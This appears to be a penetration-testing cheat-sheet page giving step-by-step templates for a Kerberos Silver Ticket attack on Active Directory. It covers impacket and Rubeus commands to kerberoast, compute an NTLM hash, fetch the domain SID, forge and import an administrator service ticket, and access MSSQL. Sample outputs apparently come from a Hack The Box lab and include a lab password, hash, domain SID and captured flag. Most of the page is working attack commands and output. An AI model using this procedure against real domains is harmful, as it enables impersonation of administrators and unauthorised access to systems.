Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Silver Ticket Attack
1. Get service principle name (SPN) [optional]
sudo ntpdate -s <DC> && impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASSWORD>' -dc-ip <DC> -request -k
Sample Output:
TO-DO
# If NTLM auth is disabled
sudo ntpdate -s <DC> && impacket-GetUserSPNs '<DOMAIN>/<USER>:<PASSWORD>' -dc-host <DC> -request -k
Sample Output:
TO-DO
2. Generate NTLM
iconv -f ASCII -t UTF-16LE <(printf '<PASSWORD>') | openssl dgst -md4
Sample Output:
$ iconv -f ASCII -t UTF-16LE <(printf 'REGGIE1234ronnie') | openssl dgst -md4
MD4(stdin)= 1443ec19da4dac4ffc953bca1b57b4cf
3. Get domain SID
sudo ntpdate -s <DC> && impacket-getPac -targetUser administrator '<DOMAIN>/<USER>:<PASSWORD>'
Sample Output:
$ sudo ntpdate -s dc.sequel.htb && impacket-getPac -targetUser administrator 'sequel.htb/sql_svc:REGGIE1234ronnie'
Impacket v0.12.0.dev1+20240730.164349.ae8b81d7 - Copyright 2023 Fortra
KERB_VALIDATION_INFO
LogonTime:
dwLowDateTime: 4131845666
dwHighDateTime: 31133135
...[SNIP]...
Domain SID: S-1-5-21-4078382237-1492182817-2568127209
0000 10 00 00 00 43 04 A9 EA FD 5C DC 66 5C CE D0 B2 ....C....\.f\...
4. Generate Silver Ticket
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain <DOMAIN> -dc-ip <DC> -spn anything/<DC> administrator
Sample Output:
$ impacket-ticketer -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip dc.sequel.htb -spn anything/dc.sequel.htb administrator
Impacket v0.12.0.dev1+20240730.164349.ae8b81d7 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sequel.htb/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
5. Import ticket
export KRB5CCNAME=administrator.ccache
Sample Output:
$ export KRB5CCNAME=administrator.ccache
6. Check
klist
Sample Output:
$ klist
Ticket cache: FILE:administrator.ccache
Default principal: administrator@SEQUEL.HTB
Valid starting Expires Service principal
09/25/24 07:55:27 09/23/34 07:55:27 anything/dc.sequel.htb@SEQUEL.HTB
renew until 09/23/34 07:55:27
7. Access service
# For example: mssql
impacket-mssqlclient -k <DC>
Sample Output:
$ impacket-mssqlclient -k dc.sequel.htb
Impacket v0.12.0.dev1+20240730.164349.ae8b81d7 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sequel\Administrator dbo@master)> SELECT * FROM OPENROWSET(BULK N'C:\users\administrator\desktop\root.txt', SINGLE_CLOB) AS Contents
BulkColumn
---------------------------------------
b'2186a912c7f240246fd2c2b04651f9b4\r\n'
1. Get service principle name (SPN) [optional]
.\rubeus.exe kerberoast /domain:<DOMAIN> /dc:<DC> /creduser:<DOMAIN>\<USER> /credpassword:'<PASSWORD>' /nowrap
Sample Output:
TO-DO
2. Generate NTLM
.\rubeus.exe hash /password:'<PASSWORD>'
Sample Output:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> .\rubeus.exe hash /password:'REGGIE1234ronnie'
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Calculate Password Hash(es)
[*] Input password : REGGIE1234ronnie
[*] rc4_hmac : 1443EC19DA4DAC4FFC953BCA1B57B4CF
[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!
3. Get domain SID
3a. Locally
import-module activedirectory
Sample Output:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> import-module activedirectory
Get-ADDomain | fl DomainSID
Sample Output:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> Get-ADDomain | fl DomainSID
DomainSID : S-1-5-21-4078382237-1492182817-2568127209
3b. Remotely
# Install ldp.exe (Windows 11)
Settings > System > Optional Features > More Windows Features and add 'Active Directory Lightweight Directory Services'
Sample Output:
TO-DO
# Bind > Bind with credentials
ldp.exe
Sample Output:
TO-DO
# Browse > Search
BaseDN: DC=<EXAMPLE>,DC=<COM>
Filter: (objectclass=User)
Sample Output:
TO-DO
4. Generate silver ticket
.\rubeus.exe silver /domain:<DOMAIN> /dc:<DC> /sid:<SID> /rc4:<HASH> /user:administrator /service:anything/<DC> /nowrap /ptt
Sample Output:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> .\rubeus.exe silver /domain:sequel.htb /dc:dc.sequel.htb /sid:S-1-5-21-4078382237-1492182817-2568127209 /rc4:1443EC19DA4DAC4FFC953BCA1B57B4CF /user:administrator /service:anything/dc.sequel.htb /nowrap /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Build TGS
[*] Building PAC
[*] Domain : SEQUEL.HTB (SEQUEL)
[*] SID : S-1-5-21-4078382237-1492182817-2568127209
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : 1443EC19DA4DAC4FFC953BCA1B57B4CF
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 1443EC19DA4DAC4FFC953BCA1B57B4CF
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : anything
[*] Target : dc.sequel.htb
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'administrator' to 'anything/dc.sequel.htb'
[*] AuthTime : 9/24/2024 5:06:04 PM
[*] StartTime : 9/24/2024 5:06:04 PM
[*] EndTime : 9/25/2024 3:06:04 AM
[*] RenewTill : 10/1/2024 5:06:04 PM
[*] base64(ticket.kirbi):
doIFUTCCBU ...[SNIP]... F1ZWwuaHRi
[+] Ticket successfully imported!
5. Check
klist
Sample Output:
*Evil-WinRM* PS C:\Users\sql_svc\Documents> klist
Current LogonId is 0:0x1293866
Cached Tickets: (1)
#0> Client: administrator @ SEQUEL.HTB
Server: anything/dc.sequel.htb @ SEQUEL.HTB
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 9/24/2024 17:06:04 (local)
End Time: 9/25/2024 3:06:04 (local)
Renew Time: 10/1/2024 17:06:04 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0
Kdc Called: